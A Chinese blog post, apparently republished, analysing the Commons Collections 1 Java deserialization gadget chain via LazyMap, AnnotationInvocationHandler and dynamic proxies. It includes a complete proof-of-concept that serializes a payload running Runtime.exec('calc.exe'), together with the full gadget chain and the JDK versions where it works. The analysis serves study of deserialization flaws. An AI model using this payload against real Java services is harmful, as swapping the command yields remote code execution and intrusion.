Java安全之Commons Collections1分析(三)
2020-10-11 17:16
1386 查看
Java安全之Commons Collections1分析(三)
0x00 前言
继续来分析cc链,用了前面几篇文章来铺垫了一些知识。在上篇文章里,其实是硬看代码,并没有去调试。因为一直找不到JDK的低版本。 全靠脑子去记传参内容尝试理解。后面的其实就简单多了,在上篇文章的基础上再去做一个分析。
0x01 CC链的另一种构造方式
上篇文章说到使用
LazyMap的
get方法也可以去触发命令执行。因为
LazyMap的
get方法在
这里看到
this.factory变量会去调用
transform方法。前面也分析了该类构造方法是一个
protected修饰的。不可被直接new。需要使用
decorate工厂方法去提供。那么在前面我们调用该方法并传入
innerMap和
transformerChain参数。
这里的innerMap是一个Map的对象,
transformerChain是一个
ChainedTransformer修饰过的
Transformer[]数组。
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
传入过后,
LazyMap的
get方法方法里面的
this.factory为
Transformer[]数组,这时候去调用就会执行
transform方法,而
ChainedTransformer的
transform方法又会去遍历调用
Transformer[]里面的
transform方法,导致使用方式的方式传入的
Runtime调用了
exec执行了
calc.exe弹出一个计算器。
当然在实际中,我们还需要借助其他的类去调用这个get方法。
而在
AnnotationInvocationHandler的
invoke就会去调用
get方法。
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4);if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; }
这里特地标出来
Object var6 = this.memberValues.get(var4);
前面说过 构造方法传入的是
transformerChain,
this.memberValues=transformerChain
this.memberValues是一个
ChainedTransformer修饰过的
Transformer[]数组。这时候调用
get,
get方法调用
transform,又回到了刚刚的话题上了。
AnnotationInvocationHandler的
invoke怎么去调用呢?
在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制。
0x02 动态代理
关于动态代理,在这里其实还是有必要单独拿出来说一下动态代理这个机制。
动态代理的实现:
Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
-
第一个参数:People.getClass().getClassLoader(),使用handler对象的
classloader对象来加载我们的代理对象 -
第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
-
第三个参数:我们将代理对象关联到上面的InvocationHandler对象上
0x03 POC 分析
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt")); oos.writeObject(handler); }
主要是来看这一段代码
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
这里的handler是反射创建的一个
AnnotationInvocationHandler类。而
AnnotationInvocationHandler中实现了
InvocationHandler接口,可以直接作为调用处理器传入。
那么在这段poc的执行中执行反序列化的时候,
AnnotationInvocationHandler重写了
readObject()方法,所以调用的是
AnnotationInvocationHandler的
readObject()方法。
readObject()方法会去调用memberValues的
entrySet()方法。这里的
memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是
proxyMap。
对应的代码:
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
因为
proxyMap是我们的代理对象,所以调用
proxyMap的
entrySet()会触发到
AnnotationInvocationHandler的
invoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的
invoke()方法都执行一次。
执行
AnnotationInvocationHandler的
invoke()方法后又会调用get方法,再次回到刚刚的地方了。
LazyMap的
get方法方法里面的
this.factory为
Transformer[]数组,这时候去调用就会执行
transform方法,而
ChainedTransformer的
transform方法又会去遍历调用
Transformer[]里面的
transform方法,导致使用方式的方式传入的
Runtime调用了
exec执行了
calc.exe弹出一个计算器。
那么就刚好对应了前面标出来的一个利用链
Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
0x04 结尾
在CC1这条链里面其实是有版本限制的,在高版本无法使用。因为
AnnotationInvocationHandler的
readObject()复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。
相关文章推荐
- Java多线程安全的实现
- Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析
- web java中遇到java的错误提示:使用了未经检查或不安全的操作,但不是泛型错误
- JAAS:灵活的Java安全机制(1)
- java 安全访问策略
- java安全架构____java MD5加密
- 深入理解Java:SimpleDateFormat安全的时间格式化(多线程应用)
- 您的Java代码安全吗?还是暴露在外?
- Java2 安全架构
- Java线程安全与锁优化
- java安全架构____java 秘钥对生成
- Effective Java(优先考虑类型安全的异构容器、用enum代替int常量)
- 如何把安全证书导入到java中的cacerts证书库
- Java网络编程——10.安全Socket
- java线程安全
- 推荐C、C++、Java、网络安全、Unix、Linux 一些编程书
- java并发编程:线程安全管理类--原子包--java.util.concurrent.atomic
- java-web之servlet中的线程安全问题
- java线程安全总结 .
- Java安全通信:HTTPS与SSL